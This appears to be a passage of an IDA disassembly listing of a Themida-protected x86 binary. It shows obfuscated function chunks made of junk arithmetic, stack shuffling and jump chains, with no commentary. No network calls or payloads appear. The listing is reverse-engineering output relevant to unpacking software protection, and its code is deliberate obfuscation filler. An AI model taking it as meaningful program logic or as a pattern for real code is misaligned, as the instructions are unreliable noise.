loc_56236B ; --------------------------------------------------------------------------- loc_56195D: ; CODE XREF: sub_562ABA+5BEBj push 5F45h mov [esp+0Ch+var_C], edx mov edx, 7FF819CEh jmp loc_55EEAB ; --------------------------------------------------------------------------- loc_56196F: ; CODE XREF: sub_562ABA+FE71j pop ebx add eax, 672918F5h add eax, ebp sub eax, 672918F5h push ebx mov ebx, 76CB1A93h not ebx neg ebx add ebx, 0BFBD0BE1h add eax, ebx pop ebx jmp loc_565126 ; --------------------------------------------------------------------------- loc_561994: ; CODE XREF: sub_562ABA-3016j xor eax, edx pop edx shr eax, 1 add eax, 2E8715E5h sub eax, 61C1CBB7h sub edi, 33911E75h sub edi, eax add edi, 33911E75h pop eax sub esp, 4 mov [esp+1Ah+var_1A], ebp jmp loc_56269F ; --------------------------------------------------------------------------- loc_5619BD: ; CODE XREF: sub_562ABA-278Fj add ecx, 257C7695h pop ebx jmp loc_562F9B ; --------------------------------------------------------------------------- loc_5619C9: ; CODE XREF: sub_562ABA+EF0Ej sub ebx, 27E00D3Dh pop esi add ebx, 18E90473h sub ebx, 78433A2Bh sub ebx, eax add ebx, 78433A2Bh sub ebx, 18E90473h push ecx mov ecx, 281C26C0h shl ecx, 2 jmp loc_5645FF ; --------------------------------------------------------------------------- loc_5619F8: ; CODE XREF: sub_562ABA+FAB8j mov [esp+6+var_8+2], ebx jmp loc_5609B5 ; --------------------------------------------------------------------------- loc_561A00: ; CODE XREF: sub_562ABA+93E3j push [esp+6+var_8+2] mov edi, [esp+0Ah+var_C+2] add esp, 4 push edi push esp jmp loc_56E366 ; --------------------------------------------------------------------------- loc_561A13: ; CODE XREF: sub_562ABA-1E0Fj xor eax, [esp-6+arg_0+2] xor [esp-6+arg_0+2], eax xor eax, [esp-6+arg_0+2] pop esp or eax, eax jz loc_563BFF push dword ptr [edi+1Ch] jmp loc_565409 ; --------------------------------------------------------------------------- loc_561A2D: ; CODE XREF: sub_562ABA+B3F9j pop edi xchg edx, [esp-0Ah+arg_4+2] pop esp mov [esp-0Eh+arg_8+2], ebx jmp loc_56CFB0 ; --------------------------------------------------------------------------- loc_561A3A: ; CODE XREF: sub_562ABA+B530j jmp loc_562228 ; --------------------------------------------------------------------------- loc_561A3F: ; CODE XREF: sub_562ABA-381Dj xor ebx, [esp+40h+var_42+2] jmp loc_564ACA ; --------------------------------------------------------------------------- loc_561A47: ; CODE XREF: sub_562ABA+DEA4j xor esi, 6BBD24F9h sub eax, 716B725Bh sub eax, esi add eax, 716B725Bh pop esi xor edi, eax pop eax push edx jmp loc_565E9B ; --------------------------------------------------------------------------- loc_561A63: ; CODE XREF: sub_562ABA-41D3j sub esi, 0FFFFFFFFh dec esi sub esi, 0CF2373Ch xor esi, 58665ABCh sub ebx, esi jmp loc_571F40 ; --------------------------------------------------------------------------- loc_561A7A: ; CODE XREF: sub_562ABA+274Cj xor ecx, edi push [esp+8+var_8] pop edi jmp loc_5675F4 ; --------------------------------------------------------------------------- loc_561A85: ; CODE XREF: sub_562ABA-4861j sub edi, eax jmp loc_560FFE ; --------------------------------------------------------------------------- loc_561A8C: ; CODE XREF: sub_562ABA+E978j push 0ACh mov [esp+6+var_8+2], ecx jmp loc_56559D ; --------------------------------------------------------------------------- loc_561A99: ; CODE XREF: sub_562ABA-3C5Dj mov edi, esp push eax mov eax, 77414574h jmp loc_563002 ; --------------------------------------------------------------------------- loc_561AA6: ; CODE XREF: sub_562ABA+9BD0j neg eax push 5B97h mov [esp+2Ah+var_2C+2], ecx push eax mov eax, 775E79DAh jmp loc_571A66 ; --------------------------------------------------------------------------- loc_561ABB: ; CODE XREF: sub_562ABA+7E89j add ecx, 0BB98775Bh add ebp, ecx pop ecx add eax, ebp mov ebp, [esp+2Ah+var_2C+2] add esp, 4 jmp loc_563AD7 ; --------------------------------------------------------------------------- loc_561AD1: ; CODE XREF: sub_562ABA+5CE8j pop ebp shr ebp, 6 shl ebp, 4 inc ebp push edi mov edi, 0C987B7A1h xor ebp, edi pop edi mov eax, ebp pop ebp add eax, edx pop edx sub [esp+1Ah+var_16], 79BE3EF7h add [esp+1Ah+var_16], eax add [esp+1Ah+var_16], 79BE3EF7h mov eax, [esp+1Ah+var_1A] add esp, 4 mov eax, [esp+16h+var_16] add esp, 4 jmp loc_562438 ; --------------------------------------------------------------------------- loc_561B13: ; CODE XREF: sub_562ABA+121j add eax, 10341F3Dh pop ecx push ecx jmp loc_56E7FE ; --------------------------------------------------------------------------- loc_561B1F: ; CODE XREF: sub_562ABA-116Dj add ecx, 4 add ecx, 4 xchg ecx, [esp+8+var_8] mov esp, [esp+8+var_8] jmp loc_570CDA ; --------------------------------------------------------------------------- loc_561B36: ; CODE XREF: sub_562ABA+6EBj add esp, 4 or edx, eax shl edx, 1 push 7E0Eh mov [esp+8+var_8], ebx sub esp, 4 mov [esp+0Ch+var_C], edx push edi mov edi, 6A294A93h inc edi jmp loc_56A194 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FCA5 loc_561B5D: ; CODE XREF: sub_55FCA5+85Bj push 0CFCh mov [esp+0Ch+var_C], esp add [esp+0Ch+var_C], 4 mov ebx, [esp+0Ch+var_C] add esp, 4 push ecx mov ecx, 5D317E9Dh push ebp mov ebp, 0A2CE8167h add ecx, 37C4647Eh add ecx, ebp push edi mov edi, 4A2C65E4h shr edi, 3 shr edi, 4 sub edi, 0C8CFF44Dh jmp loc_57154D ; END OF FUNCTION CHUNK FOR sub_55FCA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_561B9D: ; CODE XREF: sub_562ABA-38Aj push 7EB4h jmp loc_570F1A ; --------------------------------------------------------------------------- loc_561BA7: ; CODE XREF: sub_562ABA-2FAAj mov esi, [esp+12h+var_12] add esp, 4 add esp, 4 jmp loc_5636CF ; --------------------------------------------------------------------------- loc_561BB8: ; CODE XREF: sub_562ABA+96C2j mov [esp+0Ah+var_C+2], esi xchg ebp, [esp+0Ah+var_C+2] not ebp jmp loc_56766E ; --------------------------------------------------------------------------- loc_561BC5: ; CODE XREF: sub_562ABA-1F6Bj push cx pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_561BCD: ; CODE XREF: sub_562ABA+7498j neg eax jmp loc_56F448 ; --------------------------------------------------------------------------- loc_561BD4: ; CODE XREF: sub_562ABA+AA94j push esp pop ebx push esi mov esi, 65746037h push eax push edx mov edx, 78541B2Dh mov eax, edx mov edx, [esp+1Ch+var_1E+2] jmp loc_5600D2 ; --------------------------------------------------------------------------- loc_561BED: ; CODE XREF: sub_562ABA+48E4j sub edi, 4 xchg edi, [esp+1Ch+var_1E+2] pop esp mov [esp+18h+var_1A+2], ebx push 4F850F6Fh pop ebx push 1723h mov [esp+1Ch+var_1E+2], eax jmp loc_56E307 ; --------------------------------------------------------------------------- loc_561C0A: ; CODE XREF: sub_562ABA-26A9j xchg ebp, edi push edx push edi jmp loc_56FC98 ; --------------------------------------------------------------------------- loc_561C13: ; CODE XREF: sub_562ABA+7E1j or edi, ecx jmp loc_5631F8 ; --------------------------------------------------------------------------- loc_561C1A: ; CODE XREF: sub_562ABA+DE8Bj push ecx jmp loc_55F7D9 ; --------------------------------------------------------------------------- loc_561C20: ; CODE XREF: sub_562ABA+18DBj mov edx, edi jmp loc_56C6CD ; --------------------------------------------------------------------------- loc_561C27: ; CODE XREF: sub_562ABA+654Cj pop ax xor ah, ch pop cx mov bl, ah jmp loc_5667FC ; --------------------------------------------------------------------------- loc_561C34: ; CODE XREF: sub_562ABA-11C8j xor eax, 0F238C958h jmp loc_562AE8 ; --------------------------------------------------------------------------- loc_561C3E: ; CODE XREF: sub_562ABA+D845j add ebx, ebp sub ebx, 69FD37DEh jmp loc_5724DD ; --------------------------------------------------------------------------- loc_561C4B: ; CODE XREF: sub_562ABA+2C84j pop eax add esp, 4 sub esp, 4 mov [esp+0], ebx mov ebx, esp sub esp, 4 mov [esp+32h+var_32], edi mov edi, 4CA75DE8h push edx mov edx, 1 jmp loc_56F54E ; --------------------------------------------------------------------------- loc_561C6D: ; CODE XREF: sub_562ABA-1D7Dj mov [esp+1Ah+var_1A], edx push [esp+1Ah+var_16] pop edx pop [esp+1Ah+var_1A] mov esp, [esp+16h+var_16] mov word ptr [esp+16h+var_16], dx jmp loc_56D672 ; --------------------------------------------------------------------------- loc_561C84: ; CODE XREF: sub_562ABA+255Bj xor ebp, [esp+16h+var_16] xor [esp+16h+var_16], ebp xor ebp, [esp+16h+var_16] mov esp, [esp+16h+var_16] movzx ecx, al push edx jmp loc_562E44 ; --------------------------------------------------------------------------- loc_561C99: ; CODE XREF: sub_562ABA+B118j add edi, ecx sub edi, 1BD105BEh mov ecx, [esp+1Ah+var_1A] add esp, 4 add edi, 4 xchg edi, [esp+16h+var_16] pop esp movzx eax, al jmp loc_55EA6A ; --------------------------------------------------------------------------- loc_561CB6: ; CODE XREF: sub_562ABA+DC82j sub edx, 0A310884h shr edx, 4 sub edx, 0CAC83E2Eh add ebx, edx pop edx jmp loc_56AC5C ; --------------------------------------------------------------------------- loc_561CCD: ; CODE XREF: sub_562ABA+BE09j pop ebx sub esi, edx sub esp, 4 mov [esp+0], ebx mov ebx, 296791Ch sub ebx, 0C43F1505h sub esi, 1BC622Ch add esi, ebx jmp loc_569DED ; --------------------------------------------------------------------------- loc_561CF1: ; CODE XREF: sub_562ABA+35Dj push dword ptr [esp+0] push [esp+12h+var_12] jmp loc_56A308 ; --------------------------------------------------------------------------- loc_561CFC: ; CODE XREF: sub_562ABA+637j or al, 36h xor al, 1Ah sub cl, al mov eax, [esp+16h+var_16] add esp, 4 push 3639h jmp loc_56DE0B ; --------------------------------------------------------------------------- loc_561D12: ; CODE XREF: sub_562ABA+727Fj xor bl, 0FCh xor bl, 0F5h mov dh, bl pop ebx add dh, 0C7h dec dh sub dh, 30h add dh, 97h xor bh, dh pop edx jmp loc_55E8D1 ; --------------------------------------------------------------------------- loc_561D2E: ; CODE XREF: sub_562ABA+7AD9j mov ebp, [esp+0] add esp, 4 add ebx, 0EF07C73Eh mov ebp, ebx pop ebx add eax, 59FD0411h sub eax, ebp jmp loc_5630B1 ; --------------------------------------------------------------------------- loc_561D4C: ; CODE XREF: sub_562ABA-38F1j pop ecx push eax mov ah, bl push edx jmp loc_5628A9 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_561D56 proc near ; CODE XREF: sub_562ABA+E1BFj push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0] pop esp jmp loc_55E567 sub_561D56 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_561D6E: ; CODE XREF: sub_562ABA+E6C1j xor [esp+3Eh+var_3E], ecx xor ecx, [esp+3Eh+var_3E] mov esp, [esp+3Eh+var_3E] jmp loc_56D319 ; --------------------------------------------------------------------------- loc_561D7C: ; CODE XREF: sub_562ABA+CC03j add esi, 5CE2755Fh jmp loc_55F32B ; --------------------------------------------------------------------------- loc_561D87: ; CODE XREF: sub_562ABA+2356j add edi, 4 sub edi, 4 xchg edi, [esp+3Eh+var_3E] pop esp jmp loc_5679F0 ; --------------------------------------------------------------------------- loc_561D9C: ; CODE XREF: sub_562ABA+2F6Bj push edi mov edi, 1048736Bh mov ebp, 5017D67Fh xor ebp, edi mov edi, [esp+3Eh+var_3E] jmp loc_563537 ; --------------------------------------------------------------------------- loc_561DB1: ; CODE XREF: sub_562ABA+6921j mov esp, [esp+3Eh+var_3E] xor edi, [esp+3Eh+var_3E] jmp loc_567316 ; --------------------------------------------------------------------------- loc_561DBC: ; CODE XREF: sub_562ABA+E45Bj pop edi add ebp, 3BB266Eh add ebp, eax sub ebp, 3BB266Eh jmp loc_569555 ; --------------------------------------------------------------------------- loc_561DD0: ; CODE XREF: sub_562ABA+3092j mov edi, [esp+3Ah+var_3A] add esp, 4 xor ebp, [esp+36h+var_36] xor [esp+36h+var_36], ebp xor ebp, [esp+36h+var_36] mov esp, [esp+36h+var_36] mov word ptr [esp+36h+var_36], ax jmp loc_572AF5 ; --------------------------------------------------------------------------- loc_561DEB: ; CODE XREF: sub_562ABA+AF5Dj add dl, 15h dec dl add dl, 56h jmp loc_570FA6 ; --------------------------------------------------------------------------- loc_561DF8: ; CODE XREF: sub_562ABA-2F58j push ecx push eax push 6D5D43EAh pop eax inc eax jmp loc_55F440 ; --------------------------------------------------------------------------- loc_561E06: ; CODE XREF: sub_562ABA+9A3Aj sub edi, 4 xchg edi, [esp+22h+var_22] jmp loc_55ECB1 ; --------------------------------------------------------------------------- loc_561E11: ; CODE XREF: sub_562ABA+49F0j add edi, ecx jmp loc_567446 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- lodsb xor al, bl push eax mov eax, esp add eax, 4 push eax mov eax, esp add eax, 4 sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_572636 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_561E3E: ; CODE XREF: sub_562ABA-310Ej xchg eax, [esp+6+var_8+2] push [esp+6+var_8+2] jmp loc_55FCC5 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FCA5 loc_561E49: ; CODE XREF: sub_55FCA5+1ABj sub bx, 46D8h jmp loc_56F11D ; END OF FUNCTION CHUNK FOR sub_55FCA5 ; =============== S U B R O U T I N E ======================================= sub_561E53 proc near ; CODE XREF: sub_562ABA+7436j var_4 = dword ptr -4 push ebp mov ebp, 64AE4E09h add ebp, 0CFA6F745h add edi, ebp pop ebp add edi, edx sub edi, 3455454Eh mov edx, [esp+0] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] pop esp std push 44Bh mov [esp+4+var_4], esi push eax push edi push 6B24100Bh pop edi neg edi sub edi, 7A97EAFFh jmp loc_5665FC sub_561E53 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_561E9B: ; CODE XREF: sub_562ABA+6EEBj push edi jmp loc_56C87D ; --------------------------------------------------------------------------- loc_561EA1: ; CODE XREF: sub_562ABA+AD5Bj push 206Eh mov [esp+12h+var_12], esi mov esi, 4 jmp loc_55E7F5 ; --------------------------------------------------------------------------- loc_561EB3: ; CODE XREF: sub_562ABA+60E0j add esp, 4 add edx, 4 xchg edx, [esp+0] jmp loc_55E2E1 ; --------------------------------------------------------------------------- loc_561EC1: ; CODE XREF: sub_562ABA+1400j mov bh, 67h shl bh, 1 add bh, 0A8h shr bh, 6 neg bh sub bh, 7Eh mov cl, bh pop ebx sub cl, dl jmp loc_5674FB ; --------------------------------------------------------------------------- loc_561EDA: ; CODE XREF: sub_562ABA+7B0j add eax, 4 sub eax, 4 xchg eax, [esp+0Ah+var_C+2] pop esp mov [esp+6+var_8+2], edx mov edx, 5461D30h push edx inc [esp+0Ah+var_C+2] mov edx, [esp+0Ah+var_C+2] push eax mov eax, esp push esi mov esi, 4 add eax, esi pop esi add eax, 4 xchg eax, [esp+0] pop esp dec edx jmp loc_565C7D ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_561F0E proc near ; CODE XREF: sub_562ABA+AD73j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5632E9 sub_561F0E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_561F2A: ; CODE XREF: sub_562ABA-441j sub ebp, 8FBD0913h add ebx, ebp pop ebp add ebp, ebx jmp loc_56F288 ; --------------------------------------------------------------------------- loc_561F3A: ; CODE XREF: sub_562ABA+E546j or esi, 6225A56h and esi, 61292B57h and esi, 1664D46h sub esi, 54EF33D9h add esi, 0AED59F07h and edi, esi jmp loc_56EC7E ; --------------------------------------------------------------------------- loc_561F5F: ; CODE XREF: sub_562ABA+3EEBj or ch, bl pop ebx push ebx mov bh, 0ACh xor bh, 96h inc bh shl bh, 2 jmp loc_5656DE ; --------------------------------------------------------------------------- loc_561F72: ; CODE XREF: sub_562ABA+D73Ej add esp, 4 push ecx push esp pop ecx jmp loc_5727FB ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- loc_561F80: ; DATA XREF: Themida_:0055DFC4o push dword ptr [esp] jmp loc_56108A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_561F88: ; CODE XREF: sub_562ABA+2CABj xchg edx, edi push edx not [esp+0Ah+var_C+2] pop edx xchg edx, edi xchg edi, edx xchg edx, edi shl edi, 2 or edi, 7FA30D6Dh add edi, 8040D097h add ebp, 19C11B59h add ebp, edi push edi mov edi, 19C11B59h sub ebp, edi jmp loc_56B281 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- loc_561FB9: ; CODE XREF: Themida_:0055F268j pop dx xor cx, 557Dh sub cx, 4C51h mov si, cx push dword ptr [esp] pop ecx add esp, 4 add ax, 1BEEh push 125h mov [esp], esi push small 24D4h pop si xor si, 7572h add ax, si pop esi jmp loc_56F886 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_561FEF: ; CODE XREF: sub_562ABA+F584j add esp, 4 jmp loc_5611AC ; --------------------------------------------------------------------------- loc_561FFA: ; CODE XREF: sub_562ABA+2A17j mov edi, eax pop eax sub esp, 4 mov [esp+6+var_8+2], eax mov eax, 412A3D9Dh jmp loc_572704 ; --------------------------------------------------------------------------- loc_562010: ; CODE XREF: sub_562ABA+2DA3j pop edx sub eax, 6773271Ch jmp loc_560803 ; --------------------------------------------------------------------------- loc_56201B: ; CODE XREF: sub_562ABA-314Dj mov edi, 0FF8945ECh push esi mov esi, 4B356671h sub edx, esi pop esi jmp loc_569B06 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_56202E proc near ; CODE XREF: sub_562ABA+8AD8j push ebx mov ebx, 2D770364h push ecx mov ecx, 468E65CFh jmp loc_56D99E sub_56202E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_56203F: ; CODE XREF: sub_562ABA+C32j mov edi, esp add edi, 4 add edi, 4 jmp loc_56C59D ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_56A0B6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_56205B: ; CODE XREF: sub_562ABA+1B24j mov edx, esp jmp loc_570796 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- lodsd push edi push eax jmp loc_56D5B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_56206A: ; CODE XREF: sub_562ABA+A25Ej push edx mov dl, 0D1h xor dl, 0CBh or dl, 7Ah sub dl, 7Ch sub ah, dl jmp loc_560682 ; --------------------------------------------------------------------------- loc_56207D: ; CODE XREF: sub_562ABA+D76Aj idiv cl jmp loc_55F2B8 ; --------------------------------------------------------------------------- loc_562084: ; CODE XREF: sub_562ABA+A77Aj mov edi, 6A6A5A3Ch jmp loc_56D482 ; --------------------------------------------------------------------------- loc_56208E: ; CODE XREF: sub_562ABA+1D1j add edx, ebp mov ebp, [esp+12h+var_12] add esp, 4 jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56209E: ; CODE XREF: sub_562ABA+46DBj xor ebx, 1AA13955h jmp loc_56E4AF ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_5620A9 proc near ; CODE XREF: sub_562ABA+A732j push ebp mov ebp, 4 jmp loc_56E215 sub_5620A9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_5620B4: ; CODE XREF: sub_562ABA+B380j xor ecx, [esp+0] jmp loc_567406 ; --------------------------------------------------------------------------- loc_5620BC: ; CODE XREF: sub_562ABA+370Cj pop esi xor ebx, [esp+0Ah+var_C+2] xor [esp+0Ah+var_C+2], ebx xor ebx, [esp+0Ah+var_C+2] pop esp sub esp, 4 mov [esp+0Ah+var_C+2], ebx mov ebx, 40B73419h push edx mov edx, 59245397h and ebx, edx pop edx shr ebx, 1 push 144Ch mov [esp+0], ebx jmp loc_56B413 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- lodsd push ebp push edx jmp loc_5680D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_5620F5: ; CODE XREF: sub_562ABA+51C3j xor ebx, [esp+0] pop esp sub ebx, 38F318A0h push edx mov edx, 3F384061h jmp loc_568C4B ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E4D4 loc_56210A: ; CODE XREF: sub_55E4D4+9j xor ebp, 65700697h add esi, ebp jmp loc_55F3BD ; END OF FUNCTION CHUNK FOR sub_55E4D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_562117: ; CODE XREF: sub_562ABA+4D87j sub ecx, 124661B0h sub ecx, 1 not ecx dec ecx xor ecx, 11F25E1Fh sub ebx, 703567F0h sub ebx, 157D0B13h add ebx, ecx add ebx, 157D0B13h add ebx, 703567F0h mov ecx, [esp+0] add esp, 4 push eax sub esp, 4 mov [esp+12h+var_12], edi jmp loc_56E51E ; --------------------------------------------------------------------------- loc_562158: ; CODE XREF: sub_562ABA+DF82j push esi mov esi, 1E362538h or esi, 3F4C60AAh sub esp, 4 mov [esp+1Ah+var_1A], edi jmp loc_571FE0 ; --------------------------------------------------------------------------- loc_562172: ; CODE XREF: sub_562ABA+6664j push 6231h jmp loc_568C52 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_56217C proc near ; CODE XREF: sub_562ABA-3E2Ej var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ebx mov ebx, esp push edx mov edx, 2A76A21h shl edx, 4 sub edx, 2A76A20Ch add ebx, edx jmp loc_5715F6 sub_56217C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_56219A: ; CODE XREF: sub_562ABA+6DF6j mov edx, ebp jmp loc_568846 ; --------------------------------------------------------------------------- loc_5621A1: ; CODE XREF: sub_562ABA+81BCj pop edx add ebx, eax add ebx, 244E4C8Eh pop small word ptr [eax] jmp loc_55EDA1 ; --------------------------------------------------------------------------- loc_5621B2: ; CODE XREF: sub_562ABA+E10j pop ebp add esp, 4 push dword ptr [edi+1Ch] push [esp+14h+var_16+2] push [esp+18h+var_1A+2] jmp loc_569DC5 ; --------------------------------------------------------------------------- loc_5621C4: ; CODE XREF: sub_562ABA+97E0j pop ebx push ebx mov ebx, 4 add ecx, 6E2F0F38h add ecx, ebx sub ecx, 6E2F0F38h pop ebx jmp loc_56D32A ; --------------------------------------------------------------------------- loc_5621DF: ; CODE XREF: sub_562ABA+A817j pop ecx push 63A0h mov [esp+18h+var_1A+2], edi mov edi, esp add edi, 4 jmp loc_56971A ; --------------------------------------------------------------------------- loc_5621F5: ; CODE XREF: sub_562ABA+B4D1j mov [esp+18h+var_1A+2], ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push [esp+1Ch+var_1A+2] pop ebx pop [esp+1Ch+var_1E+2] pop esp push 2B64h jmp loc_563A6D ; --------------------------------------------------------------------------- loc_562217: ; CODE XREF: sub_562ABA+DF7Bj add edx, ecx mov ecx, [esp+18h+var_1A+2] push eax mov eax, esp jmp loc_5680B2 ; --------------------------------------------------------------------------- loc_562224: ; CODE XREF: sub_562ABA+EB9Bj pop [esp+1Ch+var_1E+2] pop esp ; END OF FUNCTION CHUNK FOR sub_562ABA ; START OF FUNCTION CHUNK FOR sub_55FCA5 loc_562228: ; CODE XREF: sub_55FCA5+152j ; sub_562ABA:loc_561A3Aj mov ebx, [esp+0] jmp loc_568611 ; END OF FUNCTION CHUNK FOR sub_55FCA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_562230: ; CODE XREF: sub_562ABA+9453j xor esi, [esp+14h+var_16+2] pop esp push ebx mov ebx, 154F5C3Eh dec ebx jmp loc_564C7E ; --------------------------------------------------------------------------- loc_562240: ; CODE XREF: sub_562ABA-1A35j xor edx, [esp+2Ah+var_2C+2] mov esp, [esp+2Ah+var_2C+2] sub word ptr [esp+2Ah+var_2C+2], ax pushf jmp loc_55E09F ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56017F loc_562250: ; CODE XREF: sub_56017F+17j push edi mov edi, 4 add [esp+4], edi jmp loc_572A9B ; END OF FUNCTION CHUNK FOR sub_56017F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_56225F: ; CODE XREF: sub_562ABA+47C0j push esi mov esi, 11D90CF7h neg esi shl esi, 5 xor esi, 9F5F468Dh xor ebp, esi pop esi neg ebp xchg ecx, ebp dec ecx push ebp push ecx pop ebp pop ecx shl ebp, 6 push esi mov esi, 15FE2194h jmp loc_56719A ; --------------------------------------------------------------------------- loc_56228A: ; CODE XREF: sub_562ABA+DA76j pop eax add ebx, ecx mov ecx, [esp+0] add esp, 4 shl ebx, 1 push 52B1h mov [esp+0], edx push ecx mov ecx, 144446F0h sub esp, 4 jmp loc_567C20 ; --------------------------------------------------------------------------- loc_5622AE: ; CODE XREF: sub_562ABA+D4EDj mov ecx, 4 sub edi, ecx pop ecx jmp loc_567B9A ; --------------------------------------------------------------------------- loc_5622BB: ; CODE XREF: sub_562ABA+37EBj mov esi, eax pop eax mov ebx, esi pop esi mov ebp, [esp+2Ah+var_2C+2] push ebx mov ebx, esp add ebx, 4 jmp loc_562446 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- push small 4068h push sp jmp loc_561498 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_5622DD: ; CODE XREF: sub_562ABA-390Ej mov edx, [esp+42h+var_42] add esp, 4 push 5341h mov [esp+42h+var_42], edx push edi mov edi, 2 jmp loc_5616B5 ; --------------------------------------------------------------------------- loc_5622F9: ; CODE XREF: sub_562ABA+3FCFj add ecx, ebp jmp loc_56BACF ; --------------------------------------------------------------------------- loc_562300: ; CODE XREF: sub_562ABA-44j xchg ebp, ecx jmp loc_563A9E ; --------------------------------------------------------------------------- loc_562307: ; CODE XREF: sub_562ABA-517j mov esi, esp add esi, 4 add esi, 4 jmp loc_569241 ; --------------------------------------------------------------------------- loc_562317: ; CODE XREF: sub_562ABA+1691j pop ebx jmp loc_563522 ; --------------------------------------------------------------------------- loc_56231D: ; CODE XREF: sub_562ABA+FFA8j mov ebx, 0FC91F390h jmp loc_56CC2C ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F27A loc_562327: ; CODE XREF: sub_55F27A+Fj xor ebx, 8AB82F05h add ecx, ebx pop ebx xchg ecx, [esp+0] pop esp push ecx push edx jmp loc_569220 ; END OF FUNCTION CHUNK FOR sub_55F27A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_56233B: ; CODE XREF: sub_562ABA+5F11j mov eax, 52C16B36h or eax, 1EA3468h sub eax, 1AB37C14h sub eax, 39380368h jmp loc_56C48F ; --------------------------------------------------------------------------- loc_562354: ; CODE XREF: sub_562ABA-415Aj mov esi, 4 jmp loc_5602DF ; --------------------------------------------------------------------------- loc_56235E: ; CODE XREF: sub_562ABA+957j add esp, 4 add ch, 0FFh push dx jmp loc_55F4B6 ; --------------------------------------------------------------------------- loc_56236B: ; CODE XREF: sub_562ABA-1162j pop esp jmp loc_571437 ; --------------------------------------------------------------------------- loc_562371: ; CODE XREF: sub_562ABA+5FD6j pop edi push esi mov esi, 4 add edi, esi jmp loc_568785 ; --------------------------------------------------------------------------- loc_56237F: ; CODE XREF: sub_562ABA+5BB3j sub ch, 63h shr ch, 5 inc ch jmp loc_56708C ; --------------------------------------------------------------------------- loc_56238C: ; CODE XREF: sub_562ABA-2482j jmp loc_55E09F ; --------------------------------------------------------------------------- loc_562391: ; CODE XREF: sub_562ABA+E3C4j add esi, 4 xor esi, [esp+1Eh+var_1E] jmp loc_568804 ; --------------------------------------------------------------------------- loc_56239C: ; CODE XREF: sub_562ABA-3C1Dj push esp pop [esp+3Eh+var_3E] add [esp+3Ah+var_3A], 4 jmp loc_5729E2 ; --------------------------------------------------------------------------- loc_5623A9: ; CODE XREF: sub_562ABA+F93Fj push esi push esp pop esi push edi jmp loc_565AC9 ; --------------------------------------------------------------------------- loc_5623B2: ; CODE XREF: sub_562ABA+8F41j mov ebp, 2B9C11A0h mov esi, ebp push [esp+42h+var_42] mov ebp, [esp+46h+var_46] jmp loc_568927 ; --------------------------------------------------------------------------- loc_5623C4: ; CODE XREF: sub_562ABA+57F1j mov bh, cl push [esp+46h+var_46] pop ecx add esp, 4 jmp loc_56E2C7 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- lodsb xor al, bl push ebp jmp loc_56DC35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_5623DB: ; CODE XREF: sub_562ABA+1E6Fj mov ecx, 6906185h sub ecx, 5D2054Ch and ebp, ecx jmp loc_569F73 ; 